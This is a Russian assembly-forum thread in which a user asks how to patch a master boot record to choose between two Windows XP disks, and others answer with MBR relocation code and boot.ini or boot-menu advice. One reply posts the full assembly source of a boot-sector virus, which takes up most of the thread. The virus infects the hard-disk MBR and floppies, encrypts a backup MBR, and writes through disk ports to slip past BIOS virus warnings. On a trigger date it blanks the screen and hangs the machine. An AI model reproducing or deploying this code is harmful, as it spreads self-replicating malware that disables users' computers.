MBR модификация

Тема в разделе "WASM.ASSEMBLER", создана пользователем Izza, 8 сен 2007.

  1. Izza

    Izza New Member

    Публикаций:
    0
    Регистрация:
    26 авг 2007
    Сообщения:
    2
    Собственно говоря вопрос такой.
    Была Винда, и на ней был харддиск 120 Гь. Винт убрали и поставили новый 250, на него тоже винду XP поставили.Через какое то время,решили старый обратно.
    Поставили старый винт назад мастером на IDE2.
    Естественно комп запускается с нового, или в биосе переключаем что бы стартовал со второго.
    Собственно говоря вопрос такой.Хочу модифицировать 1-й сектор 1-го винта.
    Используя два сервиса биоса int13 int16
    Допустим первый загрузочный диск , который на IDE-
    Модифицируем его MBR, так, что бы у нас была возможность выбора.

    int13 используем это прерывание для выбора диска.
    Остановив выполнение кода MBR , непосредственно перед передачей управления NTLDR и выводя сообшение типа Нажмите С или D. примерно так :
    Условие -если "С" нажали -выполняется дальше загрузка
    Если "D", тогда выбираем второй винт и начинаем читать сектор 1 и затем грузим его
    в память в тот же 07С0 и передаем управление
    типа такого

    CLi ;остановим все прерывания
    push ax ; сохраним значения регистров данных кода и стека
    push
    ......
    .......
    ......

    Press_key:
    sti
    mov ax,0 ; Выводим на экран Press D or C
    int 16h ;
    cmp ah,2eh ; "C"
    je DISK D:
    cmp ah,20h ; "D"
    je DISK C:
    jmp short press_key ; ни та ни та буква, новый запрос
    mess_4 db 'Press: [D] or [C]ґ,0

    С:
    ;Восстановим регистры,

    pop ax
    .........

    Если выбран первый диск (80h) код выполняется дальше ,
    Если выбран второй, используя int13 выбираем вторую фестплату и загружаем в память по тому же адресу 07С0 куда грузится MBR первого диска, MBR второго (81h).

    mov Ah,02H ;читаем
    mov Dl,81h винт второй
    mov Cl,1 наш сектор
    int13
    все наш MBR2 лежит в буфере ES:BX
    Места в первом секторе много, если ужать немного, выкинуть всякие системные сообшения, то байт 200 будет свободно.
    Какие будут мысли. Осушествимо так сделать ?
     
  2. rudik

    rudik Руденко Артём

    Публикаций:
    0
    Регистрация:
    6 дек 2006
    Сообщения:
    302
    Адрес:
    г. Харьков
    Конечно осуществимо, токо проверку необходимо делать в самом начале после перенесения его на нижние адреса
    Код (Text):
    1. org 7C00h
    2.         xor ax, ax
    3.         mov ss, ax
    4.         mov sp, 7C00h
    5.         sti
    6.         push    ax
    7.         pop es
    8.         push    ax
    9.         pop ds
    10.         cld
    11.         mov si, 7C1Bh
    12.         mov di, 61Bh
    13.         push    ax
    14.         push    di
    15.         mov cx, (200h-1bh)
    16.         rep movsb
    17.         retf
    18.  
    19. org 61Bh
    20.  
    21.                          ;вот сюда добавь проверку
    22.  
    23.         mov bp, 7BEh
    24.         mov cl, 4
     
  3. Vov4ick

    Vov4ick Владимир

    Публикаций:
    0
    Регистрация:
    8 окт 2006
    Сообщения:
    581
    Адрес:
    МО
    Необходимо поправить обработчик int13, поменять в его начале при операции чтения первый диск со вторым (если передаль 80h, оригинальному обработчику пережать 81h и наоборот) так как оригинальный обработчик далее будет работать с первым диском (то есть 80h).
     
  4. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Vov4ick
    если бы он грузился как обычно ничего же править не надо, так что он должен както отличать где он висит
     
  5. Vov4ick

    Vov4ick Владимир

    Публикаций:
    0
    Регистрация:
    8 окт 2006
    Сообщения:
    581
    Адрес:
    МО
    Я имел ввиду, обработчик надо править при загрузке со второго диска. (то есть с диска, отличного от выбранного биосом)
     
  6. kaspersky

    kaspersky New Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    3.006
    Izza
    нажми <ESC> во время поста, большинсвто матерей кажут меню загрузки с перечнем дисков.
     
  7. t00x

    t00x New Member

    Публикаций:
    0
    Регистрация:
    15 фев 2007
    Сообщения:
    1.921
    или F8.
     
  8. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    Если ничего из предложенного выше не помогло можно воспользоваться NTLDR'ом, подправив соответственно boot.ini.
     
  9. Izza

    Izza New Member

    Публикаций:
    0
    Регистрация:
    26 авг 2007
    Сообщения:
    2
    спасибо всем кто откликнулся. ESc или F8 меня не устраивают - они не работают.
    Boot.ini тоже не подправить .У меня 2 диска с активными разделами.Причем в каждом свой MBR , если бы я подключил оба диска , а потом по очереди ставил бы винду, на первый а потом на второй, то Хрюша сама бы позаботилась. А тут когда ставилась вторая винда, первого диска с виндой уже не было, и вторая ничего не знала о сушествовании первой.
    Rudik что ты имеешь ввиду " проверку делать в самом начале после перенесения на нижние адреса" , то есть туда куда MBr с себя копию делает ? Почему именно org 61Bh ?
     
  10. k3internal

    k3internal New Member

    Публикаций:
    0
    Регистрация:
    11 янв 2007
    Сообщения:
    607
    Izza
    На вот тебе вирусу древнюю, как раз по твоей теме. Думаю этого сорца достаточно вполне.
    Код (Text):
    1. .286
    2. .model tiny
    3. .code
    4.                                    org 600h
    5.  
    6. ;{--------------- 1-Я ПОЛОВИНА ТЕЛА ВИРУСА ------------------------}
    7. begin_v_code:      jmp short start_encrypt
    8. ;{----------- место для PBP дискеты ------------}
    9.                                    org 636h
    10. start_encrypt:
    11.  
    12.     mov si,7c00h     ; 1-я половина тела вируса перекачиваем
    13.     mov di,600h
    14.     xor ax,ax
    15.     mov ds,ax
    16.     mov ax,2000h
    17.     mov es,ax
    18.     mov ss,ax
    19.     mov sp,0fffeh
    20.     mov cx,100h
    21.     cld
    22.     repnz            ;  из 0000:7с00h   -br->  2000h:0600h
    23.     movsw
    24.     mov ds,ax
    25.     push ds
    26.     push offset real_v_start
    27.     sti
    28.     retf
    29.  
    30.  real_v_start:
    31. ;{------------ searching for disks ---------------}
    32.  
    33. ;{  <- where loaded from ? ->  }
    34.  
    35.    cmp dl,80h
    36.    jb from_floppy_to_hard
    37.    jmp from_hard_to_floppy
    38.  
    39. from_floppy_to_hard:                  ;{fdd -v-> hdd}
    40.  
    41.    ; считываем оригинальный MBR в буффер вируса
    42.  
    43.    mov dl,[HDD]           ; первый диск
    44.    mov ah,02h
    45.    mov cl,1
    46.    lea bx,disk_buffer
    47.    call @@sector_operator
    48.    jnc @@Next_half
    49.    jmp shotdown_v        ; если не получилость то завершить систему
    50.  
    51. @@next_half:
    52.                    ; считываем вторую половину вируса из конца дискеты
    53.                    ; 2 секторa 79\01\17 - 18
    54.                         mov dx,0100h
    55.                         mov ch,79
    56.                         mov cl,17
    57.                         mov ax,0202h
    58.                         lea bx,disk_buffer+512
    59.                         dw  13cdh
    60.                         jnc @@more
    61.                         jmp shotdown_v
    62. @@more:
    63.  
    64.  
    65.    ;{маленькая доработка: проверим наличие вируса в секторе       }
    66.  
    67.         ;      cmp byte ptr cs:[disk_buffer+17ch],42h
    68.         ;      je can_not_read_floppy
    69.  
    70.  
    71.         ;      {затрем BPB чтоб не вызывать подозрений}
    72.    ;           cld
    73.    ;           mov cx,32h
    74.    ;           mov si,offset disk_buffer+38h
    75.    ;           push 0
    76.    ;           pop es
    77.    ;           mov di,7c02h
    78.    ;           repnz
    79.    ;           movsb
    80.  
    81.  
    82.      ;{запишем v без таблицы разделов в сектор 0/0/62}
    83.  
    84.              mov bx,7c00h
    85.              mov ah,3
    86.              mov cl,62
    87.              call @@sector_operator
    88.              jnc no_mbr_written
    89.              jmp shotdown_v
    90.  
    91.   no_mbr_written:
    92.  
    93.    ;{теперь у нас всё готово и так как мы пишемся в MBR винчестера}
    94.    ;{то необходимо переписать таблицу разделов в буффер по адресу }
    95.    ;{0000h:7c00h     а точнее по смещению 7c00h+1beh              }
    96.    ;{таблицу разделов качаем с адреса cs:[disk_buffer+1beh]       }
    97.    ;{до адреса 0000:7c00h+1beh     ds:si-pt->es:di                }
    98.  
    99.  
    100.               cli
    101.               cld
    102.               mov cx,40h
    103.               mov si,offset disk_buffer+1beh
    104.               mov di,7c00h+1beh
    105.               repnz
    106.               movsb
    107.               sti
    108.  
    109.        ;{а теперь запишем v с таблицей разделов в сектор 0/0/61}
    110.  
    111.              mov bx,7c00h
    112.              mov ah,3
    113.              mov cl,61
    114.              call @@sector_operator
    115.              jnc _mbr_written
    116.              jmp shotdown_v
    117.  
    118. _mbr_written:
    119.                           ;{зашифруем резервный сектор 0\0\63         }
    120.  
    121.                      push cs
    122.                      pop es
    123.                      mov cx,512
    124.                      mov bx,offset disk_buffer
    125.            b_loop:
    126.                      xor byte ptr es:[bx],0a5h
    127.                      inc bx
    128.                      loop b_loop
    129.  
    130.  
    131.    mov ah,3
    132.    mov cl,63
    133.    lea bx,disk_buffer     ;{переписали первичный сектор диска из буффера}
    134.    call @@sector_operator
    135.    jnc ok_reserved_sector_written
    136.    jmp shotdown_v
    137.  
    138. ok_reserved_sector_written:
    139.  
    140.  
    141.  
    142.    ;{и так, будем надеяться что всё получилось и таблица разделов     }
    143.    ;{находится там где она и должна быть то есть 1beh                 }
    144.    ;{а теперь запишем укомплектованный вирус куда надо -> в MBR    !  }
    145.  
    146.                call @@write_hdd_by_ports
    147.  
    148.  
    149.  
    150. can_not_read_floppy:
    151.                push 0
    152.                pop es
    153.                mov dl,80h
    154.                mov cl,63
    155.                mov bx,7c00h
    156.                mov ah,2
    157.                call @@sector_operator
    158.  
    159.                           ;{расшифруем сектор 0\0\63                  }
    160.  
    161.                mov cx,512
    162.        c_loop:
    163.                xor byte ptr es:[bx],0a5h
    164.                inc bx
    165.                loop c_loop
    166.  
    167.                           ;{передаём ему управление                   }
    168.  
    169.                mov bx,7c00h
    170.                push es
    171.                push bx
    172.                retf
    173.  
    174.    ;{попытка удалась, система загрузилась с оригинального MBR 0\0\63 }
    175.  
    176. from_hard_to_floppy:    ;{зарезервировано под запись вируса с жесткого диска}
    177.                         ;{в сектор 0\0\1 дискеты. Все же какой нибудь      }
    178.                         ;{д...... забудет вынуть её из дисковода во время  }
    179.                         ;{ hdd -v-> fdd}
    180.  
    181.                         ;{читаем дискету в буффер вируса                   }
    182.  
    183.                xor dl,dl
    184.                mov cl,1
    185.                mov ah,2
    186.                lea bx,disk_buffer
    187.                call @@sector_operator
    188.                jnc just_read_floppy
    189.                jmp get_jujment_day
    190.  
    191. just_read_floppy:
    192.                         ;{прочитали дискету в буффер вируса                }
    193.                         ;{теперь прокачаем BPB из буффера вируса в буффер  }
    194.                         ;{по адресу 0000:7c03h                             }
    195.  
    196.                 mov cx,33h
    197.                 cld
    198.                 push cs
    199.                 pop ds
    200.                 lea si,disk_buffer
    201.                 push 0
    202.                 pop es
    203.                 mov di,7c00h
    204.                 repnz
    205.                 movsb
    206.  
    207.                      ;{затрем таблицу разделов чтоб не вызывать подозрений}
    208.  
    209.                mov cx,40h
    210.                lea si,disk_buffer+50h
    211.                mov di,7c00h+1beh
    212.                repnz
    213.                movsb
    214.  
    215.                      ;{переписали BPB по буфферам и можно двигать дальше  }
    216.  
    217.                      ;{теперь переписываемся на дискету                   }
    218.  
    219.                 mov ah,3
    220.                 mov cl,1
    221.                 mov bx,7c00h
    222.                 call @@sector_operator
    223.  
    224.                         ;{получилось или нет неважно                       }
    225.                         ;{основные операции завершены.                     }
    226.                         ;{теперь самое время сделать какую-нибудь гадость  }
    227.  
    228.                         ;{1. получим день инсталяции вируса                }
    229.  
    230. get_jujment_day:
    231.                   mov ah,04h
    232.                   int 1ah
    233.                   jnc compare_day
    234.                   jmp can_not_read_floppy
    235.  
    236. compare_day:
    237.                   cmp dh,07h
    238.                   jae crack_system
    239.                   cmp dl,17h
    240.                   je compare_hour
    241.                   jmp restore_system
    242.  
    243. compare_hour:
    244.                   mov ah,02h
    245.                   int 1ah
    246.                   jnc compare_houres
    247.                   jmp can_not_read_floppy
    248.  
    249. compare_houres:
    250.  
    251.                   cmp ch,08h
    252.                   jb restore_system
    253.                   cmp ch,10h
    254.                   ja restore_system
    255.  
    256.  
    257. crack_system:     ;{замена MBR без таблицы разделов}
    258.  
    259.                   mov cl,62
    260.                   call crack_restore
    261.  
    262.                   mov  dx, 3d4h
    263.                   mov  al, 17h
    264.                   out  dx, al
    265.                   inc  dx
    266.                   in  al, dx
    267.                   and  al, NOT 80h
    268.                   out  dx, al
    269.                   cli
    270.  
    271. flash_loop:
    272.                   jmp short flash_loop      ;{ холостой ход системы }
    273.  
    274. restore_system:                             ;{восстановление MBR    }
    275.  
    276.                   mov cl,61
    277.                   call crack_restore
    278.                   jmp can_not_read_floppy
    279.  
    280. shotdown_v:
    281.                         ;{общесистемная ошибка надо подумать чё делать}
    282.     mov ah,0feh         ;{придумал: reload system}
    283.     out 64h,al
    284.     hlt
    285.  
    286.  
    287.    crack_restore proc near
    288.                   mov ah,2
    289.                   mov bx,7c00h
    290.                   push 0
    291.                   pop es
    292.                   mov dl,80h
    293.                   call @@sector_operator
    294.  
    295.                   call @@write_hdd_by_ports
    296.    retn
    297.    endp
    298.  
    299.    @@sector_operator  proc near   ;{  - dl number of disk - ah function }
    300.    mov al,01h                     ;{  - bx    buffer                    }
    301.    xor dh,dh
    302.    xor ch,ch
    303.    int 13h
    304.    retn
    305.    endp
    306.  ;{-------------- область констант вируса ----------------------}
    307.    HDD                  db       80h
    308.  
    309.  ;{-------------------------------------------------------------}
    310.                                   org 7beh
    311.  
    312.    db 40h dup('p')                ; таблица разделов
    313.  
    314.                                   org 7feh
    315.  
    316.    dw  0aa55h
    317. ;{----------------- ВТОРАЯ ПОЛОВИНА ВИРУСА -----------------------}
    318. ;{--------- procedures ----------}
    319.        ;{  ПРОТИВ BIOS VIRUS WARNING !!}
    320.  
    321.   @@write_hdd_by_ports  proc near    ;{ds:si  - buffer  }
    322.                                      ;{writting HDD 0 on chanel 1}
    323.           cli
    324.           pusha
    325.           mov dx,1f2h
    326.           mov al,1
    327.           out dx,al
    328.           dec al
    329.           inc dx
    330.           out dx,al
    331.           inc dx
    332.           out dx,al
    333.           inc dx
    334.           out dx,al
    335.           mov dx,1f7h
    336.           mov al,0c5h
    337.           out dx,al
    338.           mov dx,1f0h
    339.           mov cx,100h
    340.           mov si,7c00h
    341.           push 0
    342.           pop ds
    343.           cld
    344.           rep outsw
    345.           popa
    346.           sti
    347.           retn
    348.   endp
    349.                                   org 9feh
    350.  
    351.    dw     0200h
    352.  
    353. disk_buffer:                ;{дисковый буффер}
    354.   end begin_v_code
     
  11. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    Izza
    Ну и что, что там своя MBR? NTLDR'у, в принципе, все равно откуда грузить Win. Подробнее об этом можно почитать здесь.
     
  12. Ultrin Faern

    Ultrin Faern New Member

    Публикаций:
    0
    Регистрация:
    25 июн 2006
    Сообщения:
    170
    Не понял - так кто мешает boot.ini поправить, чтобы было приглашение на обе винды?
    ЗЫ - Кто когда и как ставился, значения не имеет.